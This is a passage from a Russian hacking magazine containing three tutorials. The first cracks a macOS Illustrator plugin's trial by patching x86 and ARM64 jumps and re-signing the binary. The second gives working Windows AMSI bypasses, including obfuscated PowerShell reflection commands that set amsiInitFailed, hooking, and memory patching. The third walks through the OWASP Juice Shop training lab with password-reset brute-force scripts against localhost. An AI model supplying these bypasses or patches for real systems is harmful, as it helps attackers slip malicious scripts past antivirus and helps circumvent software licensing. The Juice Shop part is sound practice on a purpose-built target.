до блока кода относительно начала файла uint32_t offset; // Длина соответствующего блока кода uint32_t size; // Выравнивание uint32_t align; }; struct fat_arch { ... } Структ ура заголовк а Mach-O Ну а теперь, когд а мы в дост аточн ой степ ени вооружились теорией, расс мот‐ рим практический пример. У нас есть некий инсталл ированный иллюст ра‐ торовс кий плагин, который требуется отуч ить от суицид а по прош ествии три‐ альн ого периода. Предположим также, что доступа к маку, на котором он установлен, у нас нет, как и друг ого мака под рукой — тольк о возможность переписывать файлы. Ищем в папк е нужн ого плаг ина подпапку Contents\\ MacOS, а в ней — исполняе мый модуль плаг ина. В данн ом случае это динами‐ ческая библ иотек а Fat Mach-O file, о чем нам говорит сигнатура CA FE BA BE. INTEL Загр ужае м наш файл в IDA Pro: нам будет предл ожено на выбор два (точнее три) спос оба загр узки данн ого файла: Fat Mach-O file, 1.X86_64 и Fat Mach-O file, 2.ARM64. Трет ий вариа нт, бинарный файл, нам неинтересен. Начн ем с самого простого и знакомого всем польз овател ям Windows вариа нта: выбирае м Intel X86_64. Бегл о проб ежавшись по списк у назв аний функций, обнаруживаем имя checkPersonalize2_tryout. Так как у нас триа л, данн ая функ ция вполн е может оказаться проверк ой на его валидн ость. Смотр им, откуд а она вызывае тся — ага, из функции с еще более подозр ительн ым наз‐ вание м _checkUser: __text:0000000000006A62 mov edi, esi ; SPPlugin * __text:0000000000006A64 mov rsi, rbx ; _UserData_NSD_ * __text:0000000000006A67 call __Z24checkPersonalize2_tryoutP8SPPluginP14_UserData_NSD_Ph ; checkPersonalize2_tryout(SPPlugin *,_UserData_NSD_ *,uchar *) __text:0000000000006A6C test eax, eax __text:0000000000006A6E jnz short loc_6A95 __text:0000000000006A70 cmp [rbp+var_21], 0 __text:0000000000006A74 jz short loc_6A95 __text:0000000000006A76 __text:0000000000006A76 loc_6A76: ; CODE XREF: _checkUser:loc_6A5D↑j __text:0000000000006A76 mov rax, [r12] __text:0000000000006A7A mov qword ptr [rax], 0 __text:0000000000006A81 mov byte ptr [rax+63Dh], 1 __text:0000000000006A88 mov qword ptr [rax+648h], 0 __text:0000000000006A93 jmp short loc_6A99 __text:0000000000006A95 ; ---------------- __text:0000000000006A95 __text:0000000000006A95 loc_6A95: ; CODE XREF: _checkUser+198↑j __text:0000000000006A95 ; _checkUser+19E↑j ... __text:0000000000006A95 mov [rbp+var_21], 0 Поскольку загр узить прогр амму в отладчик и дойти до этого мест а мы не можем, пробуем догадаться, какой вариа нт возвращ аемог о знач ения eax нас устраивает больше. Выражения в квадратных скобках byte ptr [rax+63Dh] и qword ptr [rax+648h] похожи на устан овку полей некое й структуры или свойств объе кта. Поиск ав по коду чуть выше, мы увид им такую конструкцию: __text:00000000000069E4 cmp byte ptr [rbx+63Dh], 0 __text:00000000000069EB jnz loc_6A99 __text:00000000000069F1 __text:00000000000069F1 loc_69F1: ; CODE XREF: _checkUser+124↑j __text:00000000000069F1 mov [rbp+var_21], 0 __text:00000000000069F5 cmp byte ptr [rbx+653h], 0 __text:00000000000069FC jz short loc_6A35 __text:00000000000069FE cmp byte ptr [rbx+650h], 0 __text:0000000000006A05 jz short loc_6A5D __text:0000000000006A07 mov edi, 8 ; unsigned __int64 __text:0000000000006A0C call __Znwm ; operator new(ulong) __text:0000000000006A11 mov r14, rax __text:0000000000006A14 mov ecx, 22h ; '\"' __text:0000000000006A19 mov rdi, rsp __text:0000000000006A1C mov rsi, rbx __text:0000000000006A1F rep movsq __text:0000000000006A22 mov rdi, rax ; this __text:0000000000006A25 call __ZN11AboutDialogC1E14_UserData_NSD_ ; AboutDialog::AboutDialog( _UserData_NSD_) __text:0000000000006A2A mov rax, [r14] __text:0000000000006A2D mov rdi, r14 __text:0000000000006A30 call qword ptr [rax+8] __text:0000000000006A33 jmp short loc_6A99 По поведению программы мы помн им, что о просрочке триа ла сигнализирует диалог About, внез апно выск акиваю щий при загрузке прогр аммы, ненулев ое же значение байт а по адресу [rbx+63Dh] инициирует обход данн ой ветк и. Выходит, что правильн ой является ветк а, в которой этом у байту присваивает‐ ся значение 1 начиная со смещ ения __text:0000000000006A76 (изначальн о этот байт инициализируе тся в 0). Не мудрствуя лукаво, просто закорач ивае м весь кусок кода вызова проц едур ы checkPersonalize2_tryout, установив перед ним безусловный переход на loc_6A76: __text:0000000000006A5D jmp loc_6A76 __text:0000000000006A62 ; ---------------- __text:0000000000006A62 mov edi, esi ; SPPlugin * __text:0000000000006A64 mov rsi, rbx ; _UserData_NSD_ * __text:0000000000006A67 call __Z24checkPersonalize2_tryoutP8SPPluginP14_UserData_NSD_Ph ; checkPersonalize2_tryout(SPPlugin *,_UserData_NSD_ *,uchar *) __text:0000000000006A6C test eax, eax __text:0000000000006A6E jnz short loc_6A95 __text:0000000000006A70 cmp [rbp+var_21], 0 __text:0000000000006A74 jz short loc_6A95 __text:0000000000006A76 __text:0000000000006A76 loc_6A76: ; CODE XREF: _checkUser:loc_6A5D↑j __text:0000000000006A76 mov rax, [r12] ARM Итак, с частью кода, ответст венн ой за х86, мы вроде разобрались, попр обу‐ ем сдел ать то же самое с армовской частью. Снова загр ужаем этот модуль в IDA, на сей раз выбрав при загр узке вариант Fat Mach-O file, 2.ARM64. Мы видим, что функции _checkUser и checkPersonalize2_tryout прис утствую т и в этой части кода, вышеопис анн ое мест о вызова в перевод е на армовский ассемблер выгл ядит вот так: __text:000000000000716C MOV X2, SP __text:0000000000007170 MOV X0, X19 __text:0000000000007174 MOV X1, X20 __text:0000000000007178 BL __Z24checkPersonalize2_tryoutP8SPPluginP14_UserData_NSD_Ph ; checkPersonalize2_tryout(SPPlugin *,_UserData_NSD_ *,uchar *) __text:000000000000717C LDRB W8, [SP,#0x150+var_150] __text:0000000000007180 CMP W0, #0 __text:0000000000007184 CCMP W8, #0, #4, EQ __text:0000000000007188 B.NE loc_7194 __text:000000000000718C __text:000000000000718C loc_718C ; CODE XREF: _checkUser+1A0↑j __text:000000000000718C STRB WZR, [SP,#0x150+var_150] __text:0000000000007190 B loc_71A4 __text:0000000000007194 ; ---------------- __text:0000000000007194 __text:0000000000007194 loc_7194 ; CODE XREF: _checkUser+1D0↑j __text:0000000000007194 LDR X8, [X22] __text:0000000000007198 MOV W9, #1 __text:000000000000719C STRB W9, [X8,#0x3A0] __text:00000000000071A0 STR XZR, [X8,#0x3A8] __text:00000000000071A4 __text:00000000000071A4 loc_71A4 ; CODE XREF: _checkUser+118↑j __text:00000000000071A4 MOV W0, #0 Рассмотр ев этот код повн имательнее, мы видим, что в армовском коде ана‐ логом поля [rax+63Dh] служ ит байт по адрес у [X8,#0x3A0], ибо именно ему присв аиваетс я един ичк а при удачн ом вызове checkPersonalize2_tryout. Поэтому, дабы не изобретать велосипед, действуе м тем же спос обом, что и ранее — закорач ивае м кусок кода, вставляя перед ним безусловный переход на loc_7194: __text:000000000000716C B loc_7194 __text:0000000000007170 MOV X0, X19 __text:0000000000007174 MOV X1, X20 __text:0000000000007178 BL __Z24checkPersonalize2_tryoutP8SPPluginP14_UserData_NSD_Ph ; checkPersonalize2_tryout(SPPlugin *,_UserData_NSD_ *,uchar *) __text:000000000000717C LDRB W8, [SP,#0x150+var_150] __text:0000000000007180 CMP W0, #0 __text:0000000000007184 CCMP W8, #0, #4, EQ __text:0000000000007188 B.NE loc_7194 __text:000000000000718C __text:000000000000718C loc_718C ; CODE XREF: _checkUser+1A0↑j __text:000000000000718C STRB WZR, [SP,#0x150+var_150] __text:0000000000007190 B loc_71A4 __text:0000000000007194 ; ---------------- __text:0000000000007194 __text:0000000000007194 loc_7194 ; CODE XREF: _checkUser+1D0↑j __text:0000000000007194 LDR X8, [X22] ПАТЧИМ ПЛАГИН Теп ерь, когда мы разобр ались, что и где след ует менять, нужн о внест и эти самые изменения. Самое прост ое, что у нас есть под рукой — маленьк ий DOS-овский шестнадц атеричн ый редакт ор Hiew, который, помимо прост ого байт ового редакт ирован ия, умее т дизасс емб лировать и ассемб лир овать код для Intel и даже для ARM. К сожалению, про ARM64, который нам нужен, и Fat Mach-O он ничего не знает, поэтом у придетс я немн ого поработать руками, использ уя на практике описанную выше теорию. Отк рыв заголовок модуля, мы видим в нем две секц ии Mach-O с абсолют‐ ными смещ ениями 8000h и 17С000h. Так и есть, по первому смещению сидит сигнатура секции CF FA ED FE и код процесс ора 07 00 00 01 — это инте‐ ловс кая часть. По второму смещению сигн атура та же, но код процессора другой 0C 00 00 01 — это ARM. Заголов ок модуля Прибавляем к 8000h смещение из IDA — 6A5Dh, и получае м EA5Dh — сме‐ щение до перв ого патча в интеловс кой части. Переключаемся через Ctrl- F1 в 64-битный режим и правим иском ый jmp. Теперь внес ем измен ения в армовскую часть. Тут есть небольшая сложн ость. Смещ ение до патча 17С000h+716Ch=18316Ch мы нашли, однако при переключении в режим ARM дизассемб лер а через Shift-F1 код совсем другой, Hiew не понимае т актуаль‐ ный ARM64. Попр обуе м вычисл ить и попр авить иском ый опкод руками. Открыв аем спецификацию (если очень лениво искать, то можн о просто пос‐ мотреть в IDA по соседним командам) — опкод команд ы безусл овного переход а 14h (посл едний байт команд ы). Перв ыми байт ами идет смещение до адрес а перехода в 32-битных командах. Счит аем: 7194h-716Ch=28h делим на 4 байта и получаем 0Ah — искомое смещ ение для перехода. В результ ате код исправл енной команд ы выгл ядит так: __text:000000000000716C 0A 00 00 14 B loc_7194 Итак, мы проп атч или обе част и модуля, однак о радоватьс я рано. При перепи‐ сывании измененн ого модуля на место стар ого прогр амма выдает ошибку. Оно и понятн о: macOS делали паранои ки, кажд ый модуль должен быть под‐ писан, а при изменении любого байт а подпись, разумеется, слет ает. По счастью, параноики остав или нам возможность заново подп исать модуль на маке из терм инала. Для этог о посл е замены модуля нужн о зайти в тер‐ минал и набрать следующую команд у: sudo codesign --force --deep -sign - <полный путь к пропатченному модулю> По идее, можн о вообще убрать подп ись через stripcodesig или даже до копиров ания на мак, но это получается не всегда. Напр имер, начиная с macOS Catalina, может потребоваться удал ить приложение из карант ина, для этог о в терм инале прид ется набр ать след ующую команд у: sudo xattr -rd com.apple. quarantine <полный путь к пропатченному модулю> К сожален ию, совсем без дост упа к тел у маку не обойтись — как минимум придетс я переписывать и подп исывать патч енные модули. Конечно, можн о было бы перепаковать установочн ый образ плагина или попр обовать натянуть виртуалку с macOS под Windows, но эти способы сильно сложн ее. Мы же справ ились с поставленн ой задачей успешно, а главное — с минимальн ыми усил иями.
ВЗЛОМ be_a_saint F#CK T.Hunter hacker's teamlead AMSI! [email protected] КАК ОБХОДЯТ ANTI-MALWARE SCAN INTERFACE ПРИ ЗАРАЖЕНИИ WINDOWS Если тебе знак ома фраз а «Этот сцен арий содержит вре‐ доносн ое содержимое и был забл окирован антив ирусным программ ным обесп ечением», то сегодн яшняя статья — для тебя. Такое сообщ ение генерир ует встроенный в Windows 10 механизм AMSI, блок ирующий выполн ение вред оносных сцен ариев и скрипт ов. Можно ли его обойт и? Запросто, и сейчас я расс кажу, как это сдел ать. WARNING Статья имеет ознакомительн ый характер и пред‐ назнач ена для специалистов по безопасности, проводящих тестирование в рамк ах контракта. Автор и редакц ия не несут ответственн ости за любой вред, причиненн ый с прим енен ием изложенной информац ии. Расп ространение вре‐ доносных программ, нарушен ие работы систем и нарушение тайн ы переписки пресл едую тся по закону. Абб рев иатура AMSI расшифров ывается как Anti-Malware Scan Interface. Эту технологию Microsoft разр аботал а в качестве метода защиты пользователей от вред оносн ых прогр амм и вперв ые внедр ила в Windows 10. AMSI в реаль‐ ном времени перехв атывае т скрипты и команд ы PowerShell, JavaScript, VBScript, VBA или .NET и отсылает на пров ерку антивирусн ому прогр аммном у обеспечению (это необязательн о Defender, более десяти венд оров под‐ держивают AMSI). Но в наших прим ерах мы расс мотрим все же Defender. КАК ЭТО РАБОТАЕТ Когд а пользователь запускает скрипт или иниц иализируе т проц есс PowerShell (либо PowerShell_ISE), в процесс автом атическ и загружае тся библ иотека AMSI.DLL. Она‑то и пред ост авляе т необх одимый API для взаимод ействия с антив ирусн ым ПО. Прежд е чем выполн иться, скрипт или команд а при помощи удал енного вызова проц едур (RPC) отправл яетс я Microsoft Defender, он, в свою очер едь, анализирует полученную информацию и отсы‐ лает ответ обратно AMSI.DLL. Если обнаружена извест ная сигн атура, выпол‐ нение прер ывается и появляется сообщ ение о том, что скрипт заблокирован антив ирусной прогр аммой. Примерно так работает AMSI На прив еденной выше схеме обозначены две функ ции — AmsiScanString() и AmsiScanBuffer(), они, по сути, главные в цепочк е AmsiInitialize, AmsiOpenSession, AmsiScanString, AmsiScanBuffer и AmsiCloseSession. Если глянуть Exports для amsi.dll, то мы увидим следующее. Экс порты библ иотеки amsi.dll Одн ако значительная часть этог о списк а нам сегодня не приг одится. Итак, мы запуст или PowerShell. До того как мы сможем вводить какие‑либо команд ы, будет загружена AMSI.DLL и произойд ет вызов AmsiInitialize(). HRESULT AmsiInitialize( LPCWSTR appName, HAMSICONTEXT *amsiContext ); Тут используются два аргум ент а: имя приложен ия и указатель на структуру CONTEXT. Параметр amsiContext будет использ оваться в каждом последу‐ ющем вызове AMSI API. Посл е того как мы ввели команд у или попытались выполнить скрипт, про‐ исходит вызов AmsiOpenSession(): HRESULT AmsiOpenSession( HAMSICONTEXT amsiContext, HAMSISESSION *amsiSession ); Тут тоже передаю тся два аргум ент а: amsiContext, полученн ый на шаге AmsiInitialize(), и указатель на структ уру SESSION. Параметр amsiSession будет использ оватьс я в каждом последующем вызове AMSI API внутр и этой сессии. Дал ее в дело вступают те самые AmsiScanString() и AmsiScanBuffer(). По названию, в принц ипе, понятн о, какие параметры они передают для про‐ верки, да и синт аксис у них почти один аков. HRESULT AmsiScanBuffer( HAMSICONTEXT amsiContext, PVOID buffer, ULONG length, LPCWSTR contentName, HAMSISESSION amsiSession, AMSI_RESULT *result ); HRESULT AmsiScanString( HAMSICONTEXT amsiContext, LPCWSTR string, LPCWSTR contentName, HAMSISESSION amsiSession, AMSI_RESULT *result ); Defender проверяет буфер или строку и возвращает результ ат. Если ответ от Defender — 32768, то малварь обнар ужена, единичк а сигн ализирует, что все чисто. Малв арь обнаружена Малварь не обнаружен а Ну и посл е всех перечисленных выше проверок текущая сессия закр ывае тся с использование м AmsiCloseSession. КАК ОБОЙТИ ПРОВЕРКУ Мех анизм AMSI использует сигн атурн ое (rule-based) детект ирование угроз. Зная этот факт, можно прид умыв ать разн ые такт ики и техники. Некоторые извест ные спос обы уже не сраб отаю т, но, используя модифик ацию кода, обфускацию и криптование, можн о добиться интер есн ых результатов. INFO Для верифик ации детекта я буду использовать строки AmsiUtils либо Invoke-Mimikatz. Разуме‐ ется, сами по себе эти слов а безобидн ы, но на них срабатыв ает детект, так как они ловятся сиг‐ натурам и. Если уж на AmsiUtils нет детекта, то можно смело грузить, например, PowerView и использовать его возможност и по максимуму. Итак, поехали. PowerShell downgrade Первый спос об, который иногд а сраб атывает, тривиален. PowerShell 2.0 уста‐ рел, но Microsoft не спеш ит удалять его из опер ационной сист емы. У старой верс ии PowerShell нет таких защитных механизмов, как AMSI, поэтом у для обход а детект а иногд а дост аточн о использ овать команд у powershell - version 2. Использ уем PowerShell 2.0 amsiInitFailed Второй спос об пред отв рат ить сканиров ание — это попытатьс я выст авить флаг amsiInitFailed для данн ого проц есс а. Делае тся это след ующей команд ой: [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils'). GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true) Одн ако тут не все так прост о: чтобы выполнить эту команду, придетс я пот‐ рудиться, прид умывая спос обы обфускации, так как на нее тоже сраб атыв ает детект. Увы, на нашу команд у сработал детект Например, обфусцировать эту команду можно так: $w = 'System.Management.Automation.A';$c = 'si';$m = 'Utils' $assembly = [Ref].Assembly.GetType(('{0}m{1}{2}' -f $w,$c,$m)) $field = $assembly.GetField(('am{0}InitFailed' -f $c),'NonPublic, Static') $field.SetValue($null,$true) Прим ер обфусцир ованн ой команд ы для amsiInitFailed Во время обфускац ии можн о проявить фант азию. Например, так: [Ref].Assembly.GetType('System.Management.Automation.'+$([Text. Encoding]::Unicode.GetString([Convert]::FromBase64String( 'QQBtAHMAaQBVAHQAaQBsAHMA')))).GetField($([Text.Encoding]::Unicode. GetString([Convert]::FromBase64String( 'YQBtAHMAaQBJAG4AaQB0AEYAYQBpAGwAZQBkAA=='))),'NonPublic,Static'). SetValue($null,$true) Или даже так: $kurefii=\"$([cHar]([BYTe]0x53)+[ChAR](121)+[CHAr]([Byte]0x73)+[ cHaR]([byte]0x74)+[Char]([bytE]0x65)+[chAR]([bYtE]0x6d)).$(('Mànägem' +'ent').NORMALiZE([cHar](70+50-50)+[ChAr](111*34/34)+[cHAr](114*7/7) +[CHar](109*71/71)+[chaR]([BYtE]0x44)) -replace [cHaR]([BYte]0x5c)+[ cHar]([Byte]0x70)+[chaR]([byTE]0x7b)+[chaR](77+22-22)+[cHAr]([BytE] 0x6e)+[cHaR]([BYte]0x7d)).$([chAr](65+59-59)+[ChaR](104+13)+[CHAr]([ bytE]0x74)+[chAR]([byte]0x6f)+[chAr](58+51)+[ChaR]([bYTe]0x61)+[ CHar]([bYTe]0x74)+[cHAR](105)+[CHaR]([BYTE]0x6f)+[cHar]([ByTE]0x6e)). $([CHAR]([ByTE]0x41)+[char]([byTe]0x6d)+[CHAr]([bYtE]0x73)+[CHar]([ byTe]0x69)+[chaR](85*6/6)+[CHaR](116)+[ChAR]([Byte]0x69)+[cHAr](108) +[chAr]([BYte]0x73))\";[Delegate]::CreateDelegate((\"Func``3[String, $( ([String].Assembly.GetType($(('$([cHar]([BYTe]0x53)+[ChAR](121)+[ CHAr]([Byte]0x73)+[cHaR]([byte]0x74)+[Char]([bytE]0x65)+[chAR]([bYtE] 0x6d)).Reflec'+'tíón.BìndìngF'+'lâgs').NorMALiZe([ChAR]([Byte]0x46)+[ cHar](111)+[ChAR](114)+[CHar]([BYtE]0x6d)+[ChaR]([ByTE]0x44)) -replace [cHaR](92*10/10)+[CHAr](112+100-100)+[ChAR]([BYTE]0x7b)+[ ChAR](77)+[cHaR](110*20/20)+[cHAr]([bYTe]0x7d)))).FullName), $([cHar ]([BYTe]0x53)+[ChAR](121)+[CHAr]([Byte]0x73)+[cHaR]([byte]0x74)+[ Char]([bytE]0x65)+[chAR]([bYtE]0x6d)).Reflection.FieldInfo]\" -as [ String].Assembly.GetType($([CHAR](83)+[char](121*78/78)+[ChAr]([ByTe] 0x73)+[CHar](22+94)+[CHar](101*28/28)+[char]([BYtE]0x6d)+[CHAr](46)+[ ChAr](84)+[cHAr]([ByTE]0x79)+[ChAr](90+22)+[Char](101+30-30)))), [ Object]([Ref].Assembly.GetType($kurefii)),($(('Ge'+'tF'+'íe'+'ld'). NOrMaliZE([char]([ByTE]0x46)+[cHAR](10+101)+[CHaR](114)+[cHAr](109*93 /93)+[CHAr]([BYTe]0x44)) -replace [cHaR](92*52/52)+[CHar]([ByTE]0x70) +[CHAr]([byTe]0x7b)+[Char](38+39)+[cHaR](79+31)+[cHar](125*18/18)))). Invoke($([char](97*42/42)+[cHar](109*37/37)+[cHar]([bYte]0x73)+[Char] (105+88-88)+[CHaR]([BYtE]0x49)+[ChAR](110)+[cHAR]([Byte]0x69)+[CHaR]( 116*14/14)+[cHar]([bYtE]0x46)+[Char](97)+[cHar]([bYTe]0x69)+[CHAR]([ ByTE]0x6c)+[CHaR](101*33/33)+[char]([BYTE]0x64)),((\"NonPublic,Static\" ) -as [String].Assembly.GetType($(('$([cHar]([BYTe]0x53)+[ChAR](121) +[CHAr]([Byte]0x73)+[cHaR]([byte]0x74)+[Char]([bytE]0x65)+[chAR]([ bYtE]0x6d)).Reflec'+'tíón.BìndìngF'+'lâgs').NorMALiZe([ChAR]([Byte]0 x46)+[cHar](111)+[ChAR](114)+[CHar]([BYtE]0x6d)+[ChaR]([ByTE]0x44)) -replace [cHaR](92*10/10)+[CHAr](112+100-100)+[ChAR]([BYTE]0x7b)+[ ChAR](77)+[cHaR](110*20/20)+[cHAr]([bYTe]0x7d))))).SetValue($null, $True); В нелегк ом деле запутыв ания кода тебе наверн яка будет полезен ресурс amsi.fail. Хукинг Function hooking — метод, позволяю щий нам получить управление над фун‐ кцие й до ее вызова. В данном случае полезно будет перезап исать аргумент ы, которые функ ция AmsiScanBuffer() (или AmsiScanString()) будет переда‐ вать на пров ерк у. Тут все прост о: инжектим DLL, которая пойм ает AmsiScanBuffer() и передаст на пров ерк у что‑нибудь безобидное. Использ овать можно, нап‐ ример, AmsiHook.dll, инжектор можн о взять там же. Рез ультат инжекта AmsiHook.dll Патчинг памяти Использ ующих данн ый метод инст рументов мног о, можн о выбрать любой рабочий. Принцип одинаков: проп атч ить AmsiScanBuffer(), чтобы всегд а возв ращалось значение «Пров ерк а пройд ена успешно». Вот несколько таких средств: • AmsiScanBufferBypass; • my-am-bypass.ps1; • AMSI-Bypass.ps1; • AMSI-Bypass.cs; • NoAmci. Для примера попр обуем выполн ить Memory Patching с помощью my-am- bypass.ps1. Используем my-am-bypass.ps1 Вызов ошибки Вспоминая описание принц ипа работы AMSI, можн о заметить, что во всех функ ция х прис утст вует структ ура amsiContext. Идея способа — вызв ать ошибку в этой структ уре и слом ать весь цикл пров ерк и. Сложн ости добавл яет тот факт, что Microsoft никак не документ ирует эту структуру, да и в целом мало и неохотно пишет документ ацию для AMSI. Расс мотр им этот способ, используя Frida (чтобы найт и адрес) и дебагг ер (чтобы посм отреть, что там происходит). Исс лед уем amsiContext Введем что‑нибудь и посмотрим на вывод «Фрид ы». Вывод «Фрид ы» Теперь открое м проц есс PowerShell в дебагг ере и посмотрим, что же находится по этом у адресу. Разм ера этой структуры мы не знаем, но первые четыре байт а — это AMSI. Просматриваем процесс PowerShell в отладчик е Исследуя происход ящее дальш е, замечаем, что регистр rcx (в котором дол‐ жен лежать перв ый аргумент функ ции) сравнивае тся с нашими четырьм я бай‐ тами и, если эти знач ения не равны, выполняетс я переход на amsi! AmsiOpenSession+0x4c. Мы видим, что функция верн ет нам то, что лежит в регистре eax. А в докумен‐ тации указано, что возв ращ ается значение с типом HRESULT. HRESULT AmsiOpenSession( HAMSICONTEXT amsiContext, HAMSISESSION *amsiSession ); На сайт е Microsoft мы находим нужную информац ию: | E_INVALIDARG | One or more arguments are not valid | 0x80070057 | Есл и перв ые четыре байт а структуры контекста не совп адут с AMSI, AmsiOpenSession вернет ошибк у. Главный вопрос — к чему прив едет эта ошибка и что случится, если байт ы все‑таки не совп адут. Единст венн ый способ проверить это — вызвать ошибк у и посм отреть, что будет. Для этого поставим точку останова (breakpoint) на AmsiOpenSession, а затем поменяе м четыре байта на знач ение 0000. Убед имс я, что в регистре rcx находится знач ение 49534d41 (dc rcx L1), изменим его на 0 (ed rcx 0), пров ерим, что выполнение прошло успешно и в регистре rcx сейч ас 00000000 (еще раз dc rcx L1). Патчим AmsiOpenSession Теп ерь, если заглянуть в frida-trace, мы увидим заветн ое AmsiScanBuffer() Exit. Привела ли эта ошибк а к нарушен ию цикла пров ерки AMSI? Пров ерим эту теорию, выполн ив что‑то «зловр едное». Успех! Данн ый метод с использованием дебаггера был расс мотрен в качест ве теории, в живом кейсе, разумее тся, дебагг ером никт о не польз уетс я, а реализуется данный метод в неск олько строчек в том же PowerShell. ВЫВОДЫ Как видн о из примеров, обойт и защиту от AMSI не так уж и сложно. Знан ие известных методик может облегчить фазу пост эксп луа тац ии (или даже фазу эксп луатации). AMSI может сыгр ать важную роль в защите систем Windows 10 и Windows Server от комп рометации. Но AMSI не панацея. И хотя Microsoft Windows Defender обеспечивае т некоторую защиту от обхода AMSI, злоумышленники пост оянн о находят способы скрыть вред оносн ый контент от обнар ужения.
ВЗЛОМ Евгений Грязнов Специалист по ИБ. OSCP, LIKE A MCSE, MCDBA PRO [email protected] ИСПОЛЬЗУЕМ OSINT И ЦЕПОЧКИ АТАК В OWASP JUICE SHOP Сегодн я мы будем искать ключ к паролям на фото, вытас‐ кивать скрыт ые метаданн ые, внедр ять SQL-инъекции и изу‐ чать мног оходовые атаки. Продолж им разбираться с задач‐ ками OWASP и полн остью взлом аем интернет‑магазин Juice Shop, спец иальн о созданный для тестирования уязв имост ей и оттач иван ия хакерского маст ерства. В моей прошлой статье на ту же тему я познакомил тебя с очень уязвимым интернет‑магазином Juice Shop. Мы получили в нем права админ а разн ыми спос обами и добыли себе бесп латн ый Deluxe. Пришл о врем я как след ует погрузиться внутрь этог о дырявого прил ожения и показать, кто здесь на самом деле эксперт! В этой статье я использую версию Juice Shop 12.8.1. Если твоя версия отличается, самое время пойти и обн овить ее. УВЛЕКАТЕЛЬНЫЙ OSINT Небольшая разм инка перед серьезными задачам и, которая поможет про‐ качать английский и получить при этом удов ольствие. Надеюсь, ты уже зна‐ ешь, что такое OSINT. INFO Подробнее об OSINT ты можешь проч есть в статьях «Боевой OSINT. Разбирае м совр емен‐ ные методы сетевой разв едки» и «OSINT по‑рус‐ ски. Выбирае м мощн ые и бесп латные сервисы для пробива и конкурентной разв едки». Отдельн о очень рекомендую тебе доклад с последнего PHDays 2021 «Думать — это прикольн о. 20 прак‐ тическ их прие мов OSINT в цифр овом мире». На доск е с твои ми успех ами в Juice Shop есть специальн ый тег OSINT. Задачи с этим тегом и будут нас интересовать в этом разд еле. 1. Visual Geo Stalking. 2. Meta Geo Stalking. 3. Login MC SafeSearch. Задачек на OSINT там горазд о больш е, но эти позв олят тебе отточ ить базовые навыки и с их использованием уже решить оставшиеся! Visual Geo Stalking В этой задаче нам требуетс я угад ать пароль Эммы. Для этого прид етс я вос‐ пользоваться механизмом восстан овления пароля, для чего нужна почта, а почт у Эммы можно найт и в разд еле «Администрирование». Кстат и, в прош‐ лой статье я показал тебе три спос оба проникнуть туда. Секретный вопр ос звучит так: » « Company you first work for as an adult Как видишь, для решения этой задачи нам нужн о найт и название компании, где раньш е работала Эмма. Задача кажетс я слишком сложной, но вспомни: на сайте же есть раздел Photo Wall c фотография ми сотр удников! На пос‐ ледней фотогр афии ты найдешь белый дом и удивительн о похожий на имя Эмма никнейм. Самое врем я скачать эту фотографию и применить к ней свои аналитические навыки. Что можно попр обовать сделать с этой фотографие й: 1. Пои скать ее в сервисах врод е Google Images. Может оказатьс я, что это извест ное здан ие и есть список расп оложенных в нем комп аний. 2. Пров ерить метаданн ые изобр ажения. Част о внутри фотографии можно обнаружить GPS-координаты мест а и найти спис ок комп аний, которые арендуют в нем офисы. 3. Внимательн о расс мотр еть фотографию и поиск ать на ней подс казки вро‐ де табл ички с номером дома. В случае Эммы перв ые два вариа нта не дадут никакого результата, но я очень рекомендую пров ерить это самост оятельно! Разработчики иногд а меняю т задания и добавл яют новые пасх алки. Я же предл агаю открыть изображение в хорошем редакт оре с воз‐ можностью большого увеличения и вним ательн о изуч ить его. На одном из окон ты найдешь плак ат. Плакат компании Как видишь, компания явно связ ана с безопасностью в IT, но ее точного наз‐ вания мы не знае м, поэтому придетс я перебр ать разные варианты. Пред‐ лагаю взять скрипт подб ора ответ а из предыдущ ей статьи, тем более что он нам еще приг одится. import requests answers = ['IT Security','IT Sec','ITsec','ITSEC', 'itsec'] for answer in answers: data = {'email':'[email protected]','answer':answer,'new':'111111' ,'repeat':'111111'} r = requests.post('http://localhost:3000/rest/user/ reset-password',json=data) if r.status_code == 200: print(\"Password changed! Answer: \", answer) break print(\"That's all... \") Зап ускаем и узнае м решение задачи с Эммой! Meta Geo Stalking Над еюсь, тебе понравилось искать скрытую информац ию. Эта задача будет несколько сложнее пред ыдущ ей. Тебе нужн о угад ать ответ на секретный воп‐ рос Джона: » « What’s your favorite place to go hiking? То есть «Назови твое любимое место для пеших походов». В разд еле Photo Wall тебя ждет очень информативн ое фото с освеж ающим стаканом сока. Скачай его и попробуй пройтись по списк у из задачи с Эммой. Сущест вуе т несколько вариа нтов посм отреть метаданные изображения, я рекомендую Jeffrey’s Image Metadata Viewer. Загрузи туда изобр ажение и вни‐ мательно изучи его данн ые. Метаданные Как видишь, тут есть координаты мест а! Открой их в любимом сервисе, я обычно использую для этог о Google Maps. Карт а регио на Теп ерь нужно попр обовать подобр ать прав ильн ое назв ание места. Вни‐ мательн о изуч и карту, и можешь использовать скрипт для сброс а пароля из предыдущей задачи. import requests answers = ['Scuttlehole Trailhead','Rockcastle Campground','Dutch Branch','Laurel County'] for answer in answers: data = {'email':'[email protected]','answer':answer,'new':'111111' ,'repeat':'111111'} r = requests.post('http://localhost:3000/rest/user/ reset-password',json=data) if r.status_code == 200: print(\"Password changed! Answer: \", answer) break print(\"That's all... \") К сожален ию, все эти варианты не дали результата. We need to go deeper! Попр обуе м поиск ать более подробную информацию о Scuttlehole Trailhead. Сайт национальн ого парка На этой стран ице уже дост аточно географическ их названий, которые Джон мог использовать в качест ве фразы для сброса пароля. Я оставлю это решение тебе в качест ве домашн его задания. Если заст рянешь, спра‐ шивай в комм ентариях, и я дам подсказк у! Login MC SafeSearch Я надеюсь, ты уже дост аточно разм ялся для этог о задания. Здесь у тебя уже нет никаких подсказок. Наверн яка ты задался вопросом, а кто вообще такой этот MC SafeSearch? Пришл о врем я пробить его в интернете! К сожален ию, большая часть ссыл ок будет решением этой задачи, но это же не наш метод! Поэтому я дам тебе прямую ссылк у на вот такое отличное видео: Protect Ya Passwordz. Тут приг одится знание английског о. В этом задании не нужно использовать механизм восс тановл ения пароля, поскольк у MC сам рассказ ал тебе свой пароль в песн е, нужн о прост о вним ательно прослушать ее неск олько раз и обрат ить вним ание на его логин и — внез ап‐ но — кличку любимой собаки. Чтоб ы тебе было прощ е, есть полный текст песни. Я дам тебе пару подс казок: логин будет [email protected], а собаку зовут Mr. Noodles. Однако он опытн ый пользователь, поэтому сде‐ лал некотор ую замену в имени собаки, о чем тоже радост но проп ел в песне. Тут подсказки заканч иваются, дальш е сам! :) →Продолжение 